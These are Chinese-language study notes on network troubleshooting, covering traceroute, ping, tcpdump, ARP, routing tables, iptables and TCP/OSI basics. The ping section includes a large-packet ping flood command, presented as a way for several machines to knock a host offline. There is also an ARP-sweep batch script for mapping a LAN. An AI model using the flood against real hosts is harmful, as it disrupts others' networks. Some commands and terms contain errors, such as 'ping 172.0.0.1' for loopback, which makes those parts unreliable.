	- IATA Airport Codes(International Air Transport Association Airport Codes)
	- CLLI Codes(Common Language Location Identifier)
	- 非标准简写的城市名
	- Country Codes
	- 还有一些其他的信息  

接口类型与带宽

很多网络都会尝试将接口信息放在DNS,需要注意的是:

  1. 接口信息通常是帮助他们排查自己网络的问题;

    1. 接口信息有可能不是最新的。虽然很多大型网络会自动产生DNS,但其余的不会;

    2. 可以帮助你识别接口的类型,通过接口类型甚至可以知道路由器的型号。

例子:xe-11-1-0.edge1.NewYork1.Level3.net

  • xe-11-1-0: 是Juniper 10GE端口,
    该设备至少有12个板卡槽

    • edge1: 至少一台40G/板卡槽的路由器, 因为它有一块10GE板卡在板卡槽1

    ##### 常见接口类型对照表

Interface Type Cisco IOS Cisco IOS XR Juniper Fast Ethernet Fa#/# fe-#/#/# Gigabit Ethernet Gi#/# Gi#/#/#/# ge-#/#/# 10 Gigabit Ethernet Te#/# Te#/#/#/# xe-#/#/# () SONET Pos#/# POS#/#/#/# so-#/#/# T1 Se#/# t1-#/#/# T3 t3-#/#/# Ethernet Bundle Po# / Port-channel# BE#### ae# SONET Bundle PosCh# BS#### as# Tunnel Tu# TT# or TI# ip-#/#/# or gr-#/#/# ATM ATM#/# AT#/#/#/# at-#/#/# Vlan Vl### Gi#/#/#/#.### ge-#-#-#.###

路由类型与角色

知道路由器角色是非常有用的. 但每个AS都不一样,使用不同的角色命名,并且他们也不会一直遵循自己的命名规则。

总的来说,你只能通过你的网络知识去猜路由器的角色。

通常来说有以下规律:

  • Core routers – CR, Core, GBR, BB, CCR, EBR

    • Peering routers – BR, Border, Edge, IR, IGR, Peer

    • Customer routers – AR, Aggr, Cust, CAR, HSA, GW

网络自治系统的边界与关系

识别网络自治系统边缘很重要:

  1. 能帮助你知道路由策略变化的地方。如:不同的返回路径是基于本地优先级的;
    1. 能帮助你知道带宽与路由最差的地方,这些地方可能就是产生问题的地方;
    2. 当然也能帮助你知道应该去联系谁。

识别网络自治系统的关系同样有所帮助:

  1. 典型三个角色:Transit Provider、Peer、Customer

  2. 很多网络都会尝试将以上信息写在DNS上。如etworkname.customer.alter.net

网络延时

三种主要网络延时:

  1. 串行延时 该延时是路由器或交换机发送数据包的时间,串行延时=包大小(bits)/传输速率(bps);

    该延时产生在转发数据包的时候,产生原因:

    1. 一个数据包被移动到网络上的时候是一个不可分的单元;

      1. 在一个数据包传输完毕之前另外一个数据包无法发送。

        在高速网络中该延时非常小 • 1500 bytes over a 56k link (56Kbps) = 214.2ms delay

        • 1500 bytes over a T1 (1.536Mbps) = 7.8ms delay

        • 1500 bytes over a FastE (100Mbps) = 0.12ms delay

        • 1500 bytes over a GigE (1Gbps) = 0.012ms delay

      2. 排队延时 该延时是数据包在路由器队列中等待发出的时间,非拥塞情况下排队延时可忽略不计;

  2. 利用率 1G的接口跑到500Mbps我们会说利用率是50%,但实际上,一个接口只能进行转发数据(100%利用)或者不能转发数据(0%利用),故所谓的50%利用率实际上是指1s内有0.5s用来了传输数据。
  3. 排队 当一个接口在被使用,下一个包必须排队等待被发送。通常来说,一个接口90%使用率等于将要转发的包90%都在排队。当一个接口达到饱和时,排队时间将迅速增加,当一个接口过饱和时,一个包排队可能要耗费几百甚至几千毫秒,排队延时通常与拥塞程度相关联。

  4. 传播延时 该延时是数据包在传播介质中传播所用时间,该延时主要取决于光或电磁的传播速度。

该延时由光信号或电磁信号在介质中的传播速度与距离决定。光速(真空状态下传播)约为300,000km/s,但光纤是由玻璃制作,非真空,故光在光纤内传播速度较真空状态慢,约为0.67c,即200,000km/s,1ms的往返延时距离为100km。 例子: 环地球赤道一圈(约为40000km)传播延时大概为200ms(往返延时为400ms)。  知道以上数据,通过traceroute的每一跳地理位置信息,通过距离计算传播延时就知道延时是否正常了。   3 xe-3-0-0.cr1.nyc3.us.nlayer.net (69.22.142.74) 6.570ms 4 xe-0-0-0.cr1.lhr1.uk.nlayer.net (69.22.142.10) 74.144ms 美国纽约到英国伦敦只需要67.6ms,两地相距约6759km,延时正常。

5 cr2.wswdc.ip.att.net (12.122.3.38) MPLS: Label 17221 Exp 0 8ms 8ms 8ms 6 tbr2.wswdc.ip.att.net (12.122.16.102) MPLS: Label 32760 Exp 0 8ms 8ms 8ms 7 ggr3.wswdc.ip.att.net (12.122.80.69) 8ms 8ms 8ms 8 192.205.34.106 AS 7018 228ms 228ms 228ms 9 te1-4.mpd01.iad01.atlas.cogentco.com (154.54.3.222) AS 174 228ms 228ms 228ms 在美国本土传播耗时220ms,延时不正常。

优先级与限速

Traceroute延时判断影响因素 Traceroute延时 包括三点:

  1. 探测包到达一个特定路由器的时间
    1. 路由器生成IPMI TTL Exceed的时间
      1. ICMP TTL Exceed返回到SRC的时间

      第一个和第三个时间都是受实际网络情况影响的,而第二个时间不是。 对网络问题的判断起到帮助作用的仅仅只有第一个和第三个时间,第二个时间往往起到误导的作用。

路由器工作原理 **路由器有转发(data-plane)和接收(control-plane)的功能。

路由器转发包有两种模式:

  1. Fast Path:硬件实现转发源包 (几乎所有的网络的数据包)

    1. Slow Path:软件实现处理“异常”包 (IP Options, ICMP generation <–Traceroute发生在这里)

路由器能够接收直接发送到路由器上绑定的IP的包, 接收的包可以是BGP、IGP、SNMP、CLI访问(telnet/ssh)、ping等; 但是,*路由器的CPU性能是比较差的。 一个320-640+Gbps背板的路由器,却只有一个单核600MHz MIPS CPU, *通常CPU用来做其他事而不是做Traceroute, *因此ICMP Generation在路由器看来优先级较低,大多数情况下更是有速度限制和降级的处理。

1. 降级 在一些常见的路由器平台上,Slow path中的转发与接收是公用资源,同时没有使用最好的软件调度器。因此一些控制性的数据处理比如BGP churn、CLI等会消耗CPU资源,使得ICMP TTL Exceed包的产生延迟。 

  1. 限速 大部分路由器会限制他们的ICMP包产生,不同厂商会有不同的并且不可设置的限速值, 这大大影响了Traceroute的效果。

5.3 排除假延时 那么有办法排除第二个时间对整个延时的影响吗?答案是有的。 最重要的一个规则:如果在某一跳中发生问题,那么所有后续跳的延时将会持续或增长。

下面例子中第二跳并没有问题 1 ae3.cr2.iad1.us.nlayer.net 0.275ms 0.264 ms 0.137 ms 2 xe-1-2-0.cr1.ord1.us.nlayer.net 18.271 ms 68.257 ms 18.001 ms 3 tge2-1.ar1.slc1.us.nlayer.net 53.373 ms 53.213 ms 53.227 ms 在Traceroute过程中出现的延时突高并不是什么问题,造成这种现象主要有两种原因:

  1. 通常是路由器的限速与优先级问题;
  2. 最坏情况是路由器回包过程中走的路径不同导致的(非对称转发路径)。 

非对称的转发路径

网络中的路由是没法保证对称的转发路径,即往返的路径完全相同. 而Traceroute显示的只是去的方向的路径,但仍然要注意延时是往返的耗时。 对于Traceroute来说,返回的路径是完全不可见的,返回的每一跳可能跟去的时候完全不一样。 排查问题的时候可以进行反向的Traceroute,看返回的路径上是否出现问题, 当然,这样也不能保证路径是一样的。

非对称路径通常是在AS边界开始的。为什么?那是因为AS边界通常是AS管理策略改变的地方

防火墙的存在: 有可能会过滤 ICMP 和 UDP 数据包. 一般不会过滤 TCP 数据包.

使用TCP SYN数据包来代替UDP或者ICMP应答数据包效果会好点.

sudo traceroute 74.125.128.99 追踪到达IP目的地的经过的全部路由   traceroute -I 74.125.128.99  通过ICMP协议,追踪路由。 ICMP协议经常会被禁用,所以会返回 ※ ※ ※   sudo traceroute -T -p 80 74.125.128.99 通过TCP协议,经80端口,追踪路由。
TCP协议的默认端口80很少会被禁用。  

Mac Traceroute

man traceroute 能看出发送的是 icmp 应答包.

然后用 wireshark 抓本机的包 来分析.

  1. 先设置 要抓取的本机的 IP. 减少数据包数量.
    • 显示过滤器 输入 icmp 就能抓出来包了. 发现 每个 IP 都会发送三次包. 算平均值.

网络监听

tcpdump是一款网络抓包工具。 它可以监听网络接口不同层的通信,并过滤出特定的内容, 比如特定协议、特定端口等等。

我们上面已经使用tcpdump监听了ARP协议通信。这里我们来看更多的监听方式。 sudo tcpdump -i en0 监听en0接口的所有通信   sudo tcpdump -A -i en0    用ASCII显示en0接口的通信内容   sudo tcpdump -i en0 ‘port 8080’   显示en0接口的8080端口的通信   sudo tcpdump -i eth1 src 192.168.1.200   显示eth1接口,来自192.168.1.200的通信   sudo tcpdump -i eth1 dst 192.168.1.101 and port 80   显示eth1接口80端口,目的地为192.168.1.101的通信   sudo tcpdump -w record.pcap -i lo0   将lo0接口的通信存入文件record.pcap  

域名解析

host www.sina.com.cn

DNS是在域名和IP之间进行翻译。DNS故障会导致我们无法通过域名访问某个网址。  DNS域名解析。返回域名对应的IP地址

Ping & Traceroute & 网络诊断.

诊断第一步: 了解自己的设备. 有哪些接口. 接口的IP地址. ifconfig

ARP

查 IP-MAC 的对应关系.可看出局域网内的通信是否正常.

arp -a 显示本机的 IP-MAC 对应关系.

sudo arp-scan -1 显示整个局域网内的 所有 IP 地址对应的 MAC 地址.

sudo arping -I eth0 192.168.1.1 通过 eth0 接口, 发送 ARP 请求: 来查询192.168.1.1 的 MAC 地址.

sudo tcpdump -i en0 arp 监听 en0 接口的 arp 通信协议.

网络层:

互联网信息传递的实现要通过以下设备: 路由器 交换机 服务器 网关 等等..

这些设备一般会有一个独立的 IP.

Ping

检测目标主机是否可连通

通: 只能保证本地和服务器有一条连通的物理线路 不通: 有可能对方安装了防火墙.防Ping 的 (也就是 对方的设备 ICMP 这个功能被禁用了.)

  • Ping 通 如果还有问题: 网络系统软件配置.

    • Ping 不通
      1. 网线故障
        1. 网络适配器 配置问题
        2. IP 不正确.
    • Ping 丢包

Traceroute

**IP数据报 到达目的地 经过的路由

路有很多条.大部分走的都是同一条路. 但是也有可能不一样!!

Unix : Traceroute Windows: Tracert

Unix: 举例

sudo tracertroute www.baidu.com

Tracertroute 网关: 一般 tracertroute 是基于电脑主机的.

IT 对设备和 Internet 的连接路径 和 连接时间 速度 都是很高兴的. 使用 tracertroute 能给你一个满意的答案.

网络测试常用命令:

ping 192.168.1.1 ping www.baidu.com

ping -s 1500 192.168.1.1 指定数据包大小.

不能上网: 首先 确认是否本地局域网故障.

*测试网卡是否安装正常: ping 172.0.0.1

TracertRoute 功能类似 Ping. 但是比 Ping 详细很多. 把数据包走的全部路径.节点. IP 以及花费时间都显示出来. 适合 大型网络.

Netstat

可以了解网络整体情况≥

  1. 显示 路由表 netstat -r

    1. 显示每个协议的 使用状态 netstat -s

      1. 显示多址广播信息
      2. 显示当前所有套接字连接状态

路由 / 路由表

  • 主机 路由表
    1. windows: route print
      1. Mac: netstat -r - 路由器 路由表

Windows 路由表分析: ( 172.19.16.16 导出的路由表 )

  • Active Routes: 活动的路由.
    • Network destination: 目的网段
    • Netmask: 子网掩码
    • Gateway: 网关(也叫 下一条路由)
    • Interface: 接口,本地主机用于发送数据包的网络接口. 网关必须和接口 在同一个子网. (默认网关除外)
    • Metric: 跳数
      1. 指出路由的成本, 通常代表 到达目标地址需要经过的跳跃数量.
        1. 一个跳数 代表经过一个路由器.
        2. 跳数越低 代表路由成本越低. 优先级越高.

=========================================================================== Active Routes:

  1. Network Destination Netmask Gateway Interface Metric
  2. 0.0.0.0 0.0.0.0 172.19.16.1 172.19.16.16 10
  3. 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
  4. 172.19.16.0 255.255.255.0 172.19.16.16 172.19.16.16 10
  5. 172.19.16.16 255.255.255.255 127.0.0.1 127.0.0.1 10
  6. 172.19.255.255 255.255.255.255 172.19.16.16 172.19.16.16 10
  7. 224.0.0.0 240.0.0.0 172.19.16.16 172.19.16.16 10
  8. 255.255.255.255 255.255.255.255 172.19.16.16 172.19.16.16 1
  9. Default Gateway: 172.19.16.1

1: 缺省路由 系统收到一个目的地址不在路由表的数据包时: 系统把这个数据包 通过接口(也就是网卡):16.16 发送到 缺省网关:16.1

2: 本地环路 系统收到 一个发往 127.0.0.0 这个网段的数据包时: 系统会把这个数据包 通过 127.0.0.1 这个接口 接收发给这个网段的所有数据包.

3: 直连网段的路由记录 系统收到 172.19.16.0/24 这个网段的数据包时: 系统会把这个数据包 通过 16.16 这个接口发送出去

4: 本地主机路由 系统收到一个目标地址是本机网卡的数据包时: 收下该数据包

5: 本地广播路由 系统收到一个 发给直连网段的本地广播数据包: 把这个包 从16.16 接口.以广播的形式发送出去

6: 组播路由 系统收到一个组播数据包时: 系统会将该数据包从16.16 这个接口以组播的形式发送出去。

7: 广播路由 系统收到一个绝对广播数据包时,把该数据包通过16.16这个接口发送出去。

8: 缺省网关

**Windows 路由表操作:

Route -f -p ; print/add/delete/change ; 目的 ip ; 子网掩码 ; 网关 ; 跳数 ; 接口 -f 清楚路由表. -p 永久保留某条路由 (重启也不会丢失) *Print 打印; ADD 添加; Delete 删除; Change 修改

**网络传输三张表:

  1. MAC 地址表
    1. ARP 缓存表
    2. 路由表

Mac 地址表

交换机工作原理: 根据MAC 地址表来转发数据的! 交换机中有一张记录局域网主机MAC地址与交换机端口对应关系的表.根据这个表.传输数据到指定主机.

交换机 收到数据包(包中有 源MAC地址 和 目的MAC地址).

  1. 记录数据包中的 源MAC地址 和对应的交换机端口号到MAC表中.
  2. 检查 自己的 MAC 表中 是否有数据包中目标 MAC地址的信息. 有: 根据 Mac 表 找到相应的端口 发送数据.

    没有:把数据包 从交换机所有端口(除了收到数据包的那个端口) 广播出去….. 这时候 局域网所有电脑都收到这个包. 但是只有目的主机 会相应这个广播.并回应一个数据包(包括 目的主机的 MAC 地址) 交换机收到 目的主机的回应. 记录目的主机的 MAC 和相应的交换机端口号. 当以后两边再要传输数据的时候.就能根据交换机的 MAC 地址表里的记录 实现单播了.

ARP 缓存表

交换机 是通过 MAC 地址通信的. 但是 我们怎么获取 目标主机的 MAC 地址呢? 这就需要 ARP 协议了.

每台主机中都有一张 ARP 表. 记录主机的 IP 地址 和 MAC 地址的对应关系.

ARP 工作在网络层协议. 负责把 IP 地址解析为 MAC 地址.

主机 A 想给 主机 B 发数据. A 检查自己 ARP 缓存表. 看有没有 B的IP 对应的 MAC 地址关系. 有: 把 B 的 MAC 地址作为目的MAC地址 封装到数据包中. 没有: A 发送一个 ARP 请求. 请求中的信息:

目标IP: B 的 IP. 目标MAC: MAC地址的广播帧(FF-FF-FF-FF-FF-FF) 源 IP: A 的 IP 源 MAC: A 的 MAC

交换机 收到 arp 请求: 发现是广播帧: 把这个数据包 从非接收的所有端口发送出去.

所有主机都收到这个广播. B发现这个包的 IP 是自己的. 把 A 的 ip 和 MAC 记录到自己的 arp 缓存中. 同时回应这个数据包.(里面有自己的 MAC 地址) A 收到回应包, 记录 B 的 MAC 地址和 IP 的对应关系.

路由表:

负责不同网络之间的通信.是非常重要的设备.可以说没有路由器就没有互联网. 路由器中 也有一张表: 叫路由表.

记录着不同网络的信息.

**路由表信息分为: 直连路由 和 非直连路由

直连路由: 直接连在路由器接口的网段 路由器会自动生成的 非直连路由: 不是直接连在路由器上的网段. 这个记录 是要手动添加 或者 使用动态路由的.

静态路由: 需要手动添加 动态路由: 动态获取的

直连路由是属于静态路由.

路由器工作在网络层: 网络层可以识别 逻辑地址(也就是IP 地址).

  • 路由器收到包.
    • 读取包中的目标 IP 地址的 网络部分. 在路由表中进行查找. 找到路由条目 就转发给相应的接口.

      没找到: 如果配置了默认路由: 把包发给默认路由 如果没配置默认路由: 丢弃数据包.

总结:路由表负责记录一个网络到另一个网络的路径,因此路由器是根据路由表工作的。

MAC OS 路由表 维护:

netstat -nr 查看路由表.

Destination 目标网段或者主机 Gateway 网关地址, Genmask 网络掩码 Flags 标记。一些可能的标记如下: *U — 路由是活动的 *H — 目标是一个主机 *G — 路由指向网关 R — 恢复动态路由产生的表项 D — 由路由的后台程序动态地安装 M — 由路由的后台程序修改 ! — 拒绝路由 Metric 路由距离,到达指定网络所需的中转数(linux 内核中没有使用) Ref 路由项引用次数(linux 内核中没有使用) Use 此路由项被路由软件查找的次数 Iface 该路由表项对应的输出接口

**3种路由类型: *主机路由 主机路由是路由选择表中指向单个IP地址或主机名的路由记录。主机路由的Flags字段为H

*网络路由 网络路由是代表主机可以到达的网络。网络路由的Flags字段为N。

*默认路由 当主机不能在路由表中查找到目标主机的IP地址或网络路由时,
数据包就被发送到默认路由(默认网关)上。默认路由的Flags字段为G。

**MAC 路由配置: add : 添加一条路由规则 del : 删除一条路由规则 -net : 目的地址是一个网络 -host : 目的地址是一个主机 target : 目的网络或主机 netmask : 目的地址的网络掩码 gw : 路由数据包通过的网关 dev : 为路由指定的网络接口

**例子: 添加到主机的路由 route add -host 192.168.1.2 dev eth0:0 route add -host 192.168.1.88 gw 10.20.30.40 添加到网络的路由 route add -net 10.20.30.40 netmask 255.255.255.248 eth0 route add -net 10.20.30.40 netmasj 255.255.255.248 gw 10.20.30.41 route add -net 192.168.1.0/24 eth1 添加默认路由 route add default gw 192.168.1.1 删除路由: route del -host 192.168.1.2 dev eth0:0

设置包转发: CentOS 自带路由功能. 只是没有开启.

路由是网络核心部分. 路由表本身的设计 很大程度影响路由的性能. 好的设计能减少系统资源的消耗.

路由表结构: Linux 使用多个路由表.而不是一个. 一个用于上传给本地上层协议 . 一个用于转发. 分成多个表. 避免了查找庞大的路由表. 一定程度提高了查找效率.

路由的查找: 路由的查找速度直接影响整个网络的性能. 路由的查找 首先发生在路由缓存中. 缓存里找不到 再去路由表中查找.

查找同一网段队友 ip 及对应的 mac 地址. 可用 nemesis 的发包功能, 构造 arp 请求. 配合批处理.可在10秒内找出同一网段下的所有 ip 和 mac 对应地址

discover.bat @echo off set ip=0 :loop if %ip%==255 goto end set /A ip=%ip%+1 @nemesis arp -S 192.168.1.255 -h 00:0e:e8:1e:02:dd -D 192.168.1.%ip% -m 00:00:00:00:00:00 -P payload.txt -M FF:FF:FF:FF:FF:FF -H 00:0e:e8:1e:02:dd @echo 192.168.1.%ip% goto loop :end

局限性:如果局域网交换机设置了IP+MAC绑定,或者对IP、MAC进行了过滤,则此方法不能奏效。

IPTABLE

linux 的防火墙 主要在网络层. 针对 TCP/IP 数据包 实施过滤和限制.

iptables 采用了 表和链 的分层结构.

iptables常见的控制类型如下:

ACCEPT:允许数据包通过。 DROP:直接丢弃数据包,不给出任何回应信息。 REJECT:拒绝数据包通过,必要时会给数据包发送端一个响应信息。 LOG:在/var/log/messages文件中记录日志信息,然后将数据包传递给下一条规则。

iptables规则的匹配条件 1、通用匹配 通用匹配也称常规匹配,这种匹配方式可以独立使用,不依赖其他条件或扩展模块,常见的通用匹配包括协议匹配,地址匹配,网络接口匹配。 1)协议pipe 编写iptables规则时使用“-p 协议名”的形式指定,用来检查数据包所使用的网络协议,如:tcp、udp、icmp等。 列如:编写iptables拒绝通过icmp的数据包。 root@localhost /#iptables -A INPUT -p icmp -j DROP 2)地址匹配 编写iptables规则时使用“-s源地址”或“-d目标地址”的形式指定,用来检查数据包的源地址或目标地址。 列如:编写iptables拒绝转发192.168.1.0/24到202.106.123.0/24的数据包。 root@localhost /#iptables -A FORWARD -s 192.168.1.0/24 -d 202.106.123.0/24 -j DROP 3)网络接口匹配 编写iptables规则时使用“-i 接口名”和“-o 接口名”的形式,用于检查数据包从防火墙的哪一个接口进入或发出,分别对应入站网卡(–in-interface),出站网卡(–out-interface)。 列如:拒绝从防火墙的eth1网卡接口ping防火墙主机。 root@localhost /#iptables -A INPUT -i eth1 -p icmp -j DROP

网络地址转换 (NAT)

把内部的私有 IP 地址 .翻译成 圈圈唯一的公网 IP地址.

NAT 的实现方式: 三种

  1. 静态地址转换: 2某个私有 ip 只能转出固定的某个公有 ip

  2. 动态地址转换

  3. 端口多路复用

Mac 路由表分析

netstat -nr

主机要发送数据, 就要参考路由表.

  1. 主机先分析自己的路由表.
    • 同一网段: 直接通过局域网功能.传送数据.
    • 不同网段:
      1. 先分析自己路由表 是否有手动设备了路由
        1. 没发现设置.把数据包发到默认路由器(网关)
  2. 数据包给网关之后,后面任务都交给路由器来做.

路由器收到数据包, 分析自己的路由表. 继续传输数据.

路由器功能: 不同网段之间传递数据包.并管理路由

默认网关: 负责 所有非本网络内的数据包的传送

局域网 通过 路由器 接入 互联网. 互联网的通信. 是经过很多路由器接力的. 途中路由器的故障,可能导致互联网访问异常.

netstat -nr 显示路由表: 路由表中可以找到网关.网关是通向互联网的出口.

Winipcfg

Ping utility

Windows 默认ping 的数据包 32byte 大小可自定义. 但是最大只能 65500 byt

超过这个大小,会处罚一个安全漏洞.使得对方死机. 所以规定了最大值. 配合别的参数 危害依然很大. 比如10+台电脑 同时一直用最大的包 Ping 一个主机. 五分钟左右 对方的网络就会挂.
ping -l 65500 -t 192.168.1.21

PING

*linux & windows 区别 : Linux 需要 ⌃+C 手动终止.不然会一直ping。

原理 :

发送 ICMP 数据包到网络主机, 根据返回信息确定目标主机是否可访问

但这不是绝对的. 有些服务器或者路由器 为了防止通过ping探测到, 通过防火墙设置了禁止ping或者在内核参数中禁止ping

功能 :

  • 确定网络状态
  • 确定主机状态(开关机)?
  • 确定 硬件 软件问题.
  • 测试. 评估和管理网络

命令参数 :

-r 忽略普通的Routing Table,直接将数据包送到远端主机上。通常是查看本机的网络接口是否有问题。 -R 记录路由过程。

-I 网络界面:使用指定的网络界面送出数据包。 -l 前置载入:设置在送出要求信息之前,先行发出的数据包。 -p 范本样式:设置填满数据包的范本样式。

  • 命令格式: ping [参数] [主机名或IP地址]

  • 指定次数 - c Count 次数 ping -c 10 172.19.16.16

  • 指定间隔 - i interval 间隔 ping -i 3 172.19.16.16 // 时间间隔. 默认一秒一个数据包.

  • 指定间隔+次数 ping -c 10 -i 3 172.19.16.16 // 10次 每次间隔3秒

  • Ping 网址 得 IP ping www.baidu.com // 得到 ip 地址

  • 指定数据包大小 - s packetsize ping -s 64 172.19.16.16 //-s 字节数:指定发送的数据字节数,预设值是56,加上8字节的ICMP头,一共是64ICMP数据字节。

  • 直接显示结果. - p ping -p -c 10 172.19.16.16 //最好指定个次数 不然要手动 ⌃+C 才会显示结果.

OSI 七层 & Tcp / IP

TCP 数据包结构 :

*TCP 报文结构 : 报文首部 + 用户数据

  • *首部: 默认 20 Byte字节 ( 也就是 160bits )

    1. Source Poret 【源端口】 - 16bit 来源端口号;
      1. Destination 【目的端口】- 16bit 目的端口号;

      2. 【序号】- 32bit 每一个TCP报文段都会有一个序号,序号字段的值其实是本报文段所发送的数据的第一个字节的序号。这是因为TCP是面向连接的可靠服务,其每一个字节都会对应一个序号,通过序号来确保服务的可靠性和有序性。

      3. 【确认号】- 32bit 确认号,是期望收到对方的下一个报文段的数据的第一个字节的序号。(这句话有些拗口,但是在后面我们讲解三次握手和四次挥手时,大家会更深刻的理解这句话的含义)

      4. 【数据偏移】- 4bit 其实它本质上就是“首部长度”,因为“数据偏移”是指TCP报文段的数据部分的起始处距离TCP报文段的起始处的距离。(仍然很拗口,但相信你能明白)。 数据偏移总共占4bit,因此最大能表示的数值为15。而数据偏移的单位是“4字节”,此处的设计和IP数据报的设计是完全相同的,所以说TCP报文段首部的长度最长为15×4=60字节,且首部长度必须为4字节的整数倍。

      5. 【保留字段】- 6bit 这6bit在标准中是保留字段,我猜测,有两个目的,第一个是预留除URG/ACK/PSH/RST/SYN/FIN/之外的冗余功能位;第二个是为了对其字节位。

      6. 【紧急字段URG】- 1bit。 当URG=1时,,此报文段中有紧急数据,应尽快优先传送。

      7. 【确认字段ACK】- 1bit。 ACK=1: 表示确认,且确认号有效;当ACK=0时,确认号字段无效。

      8. 【推送字段PSH】- 1bit 当PSH=1时,则报文段会被尽快地交付给目的方,不会对这样的报文段使用缓存策略。

      9. 【复位字段RST】- 1bit RST=1 :表明TCP连接中出现了严重的差错,必须释放连接,然后再重新建立连接。

      10. 【同步字段SYN】- 1bit。 当SYN=1时,表示发起一个连接请求。

      11. 【终止字段FIN】- 1bit。 用来释放连接。当FIN=1时,表明此报文段的数据已发送完成,并要求释放连接。

      12. 【窗口字段】- 16bit 此字段用来控制对方发送的数据量,单位为字节。 一般TCP连接的其中一端会根据自身的缓存空间大小来确定自己的接收窗口大小,然后告知另一端以确定另一端的发送窗口大小。

      13. 【校验和字段】- 16bit 这个校验和是针对首部和数据两部分的。

      14. 【紧急指针字段】- 16bit 紧急指针指出在本报文段中的紧急数据的最后一个字节的序号。

TCP & UDP

  • TCP ( Transmission Control Protocol ) 可靠性高
  • UDP ( User Datagram Protocol ) 可靠性低 & 传输快

TCP / IP 重要特点:  与低层的数据链路层和物理层无关.

TCP: Transmission Control Protocol传输控制协议

*事先为所发送的数据开辟出连接好的通道,然后再进行数据发送;

提供: 数据流传送、可靠性、有效流控、全双工操作和多路复用。

TCP支持的协议主要 有: Telnet、FTP、SMTP等 

UDP:

*不提供 可靠性、流控、 差错恢复功能。是一种无连接的传输层协议

UDP支持协议主要有:

  • NFS 网络文件系统
    • SNMP 简单网络管理协议
    • DNS 主域名称系统
    • TFTP 通用文件传输协议

## TCP 三次握手

**三次握手 : Three-way handshake 一个虚拟的链接的建立 是通过三次握手 来实现的

SYN: 握手信号 Synchronous *ACK: 确认标志

SYN/ACK 包: 确认包 仅仅是 SYN 和 ACK 标记为1 的 TCP 包

 第一次握手:  

  1. 客户端 发一个 SYN=1 ACK=0 的TCP包 表示: 请求进行连接.

    只是请求/试探/询问是否可以连接服务器,服务器同意连的话 还是要客户端再确认一次(也就是第三次握手)才正式连接.

 第二次握手:  

  1. 服务器收到请求并允许进行连接的话

    发一个 SYN=1 ACK=1 的 TCP 包给客户端
    表示: 可以连接了 并 要求客户端返回一个确认数据包 确认进行连接 (有可能 客户端只是问问能不能链接)

 第三次握手:  

  1. 客户端 发一个SYN=0,ACK=1的数据包给服务器,告诉服务器我确实要建立连接 而不是耍你… 正式连接成功

    连接成功以后: TCP 的每个包 都会设置 ACK 位 这就是连接跟踪 很重要的原因了
    没有跟踪的话防火墙无法判断 收到的 ACK 包是不是属于一个已经建立的链接.

    在客户机和服务器之间建立正常的TCP网络连接时, 首先 客户端发出一个包含SYN标志的数据包 然后 服务器 返回 SYN+ACK的应答包 表示接收到了这个消息, 最后 客户机再返回一个ACK确认包响应。 这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。 当服务器发送应答包后 没收到确认包 服务器就会进入等待直到超时 等待期间 这些半链接的客户端都保存在一个有限的缓存列表中 如果有大量的 syn 包发给服务器 而且又不回应服务器的话 会造成 tcp 资源迅速耗尽 直到服务器系统崩溃

    wireshark TCP 握手 实测: 显示过滤里 设置 tcp.stream eq 5
    然后打开一个网站 wireshark 里就能 看到3个 数据了 这就是三次握手包

OSI & Port

开放式系统互联通信参考模型 Open System Interconnection Reference Model

计算机在世界范围内互连为网络的标准框架。

OSI 七层网络体系结构:

第7层 应用层- - - 提供通信端口  HTTP,HTTPS,FTP,TELNET,SSH,SMTP,POP3
第6层 表示层- - - 类似快递打包. 数据压缩、解压 / 加密、解密
第5层 会话层- - - 数据叫报文! 解除或建立与别的电脑的联系 / 服务器验证用户登录
第4层 传输层- - - 数据叫数据包! 负责获取全部信息 TCP,UDP
第3层 网络层 - - -地址解析和路由.选择合适的路由,确保信息到达. IP
第2层 数据链路层- -网卡
第1层 物理层 - - -中继器/集线器/双绞线
7层: 应用层(Application Layer)
  • 为操作系统/网络程序 提供访问网络服务的端口。

    一台电脑有很多端口 要指定端口才能通信. 例如: HTTP,HTTPS,FTP,TELNET,SSH,SMTP,POP3等。

6层: 表示层(Presentation Layer)

将数据从抽象语法(文类文字),转为适合于OSI系统内部使用的适合传送的格式.

数据的压缩和解压缩, 加密和解密等工作都由表示层负责。

5层: 会话层(Session Layer) 没有协议

在会话层及以上的高层次中,数据传送的单位不再另外命名,而是统称为报文。 会话层不参与具体的传输, 它提供包括访问验证和会话管理在内的建立和维护应用之间通信的机制。 如服务器验证用户登录便是由会话层完成的。

负责在数据传输中设置和维护电脑网络中两台电脑之间的通信连接。

4层 传输层(Transport Layer)
  • 数据单元称作数据包(packets)。
  • 把传输表头(TH)加至数据以形成数据报。 传输表头包含了所使用的协议等发送信息。例如:传输控制协议义(TCP) 等

这个层必须跟踪数据单元碎片、乱序到达的 数据包和其它在传输过程中可能发生的危险。

  • 为第5层提供端到端(最终用户到最终用户)的透明的、可靠的数据传输服务。

    透明传输指:通信过程中 传输层对上层屏蔽了通信传输系统的具体细节。

3层: 网络层(Network Layer) 快递单

数据传输 - 经过很多路由器 - 选择合适的网间路由和交换结点,确保数据及时传送。

网络层将数据链路层提供的帧组成数据包,包中封装有网络层包头,其中含有逻辑地址信息- -源站点和目的站点地址的网络地址。

如果你在谈论一个IP地址,那么你是在处理第3层的问题,这是“数据包”问题.

IP是第3层问题的一部分,此外还有一些路由协议和地 址解析协议(ARP)。 有关路由的一切事情都在这第3层处理。地址解析和路由是3层的重要目的。 网络层还可以实现拥塞控制、网际互连等功能。 在这一层,数据的单位称为数据包(packet)。 网络层协议的代表包括:IP、IPX、RIP、OSPF等。

传输有地址的帧以及错误检测功能 SLIP,CSLIP,PPP,ARP,RARP,MTU 负责网络寻址、错误侦测和改错。当表头和表尾被加至数据包时,会形成了帧。 数据链表头(DLH)是包含了物理地址和错误侦测及改错的方法。 数据链表尾(DLT)是一串指示数据包末端的字符串。 例如以太网、无线局域网(Wi-Fi)和通用分组无线服务(GPRS)等。

1层 物理层(Physical Layer)

以二进制数据形式在物理媒体上传输数据 ISO2110,IEEE802,IEEE802.2 在局部局域网络上传送帧,它负责管理电脑通信设备和网络媒体之间的互通。 包括了针脚、电压、线缆规范、集线器、中继器、网卡、主机适配器等

Linux TCP/IP 概念层

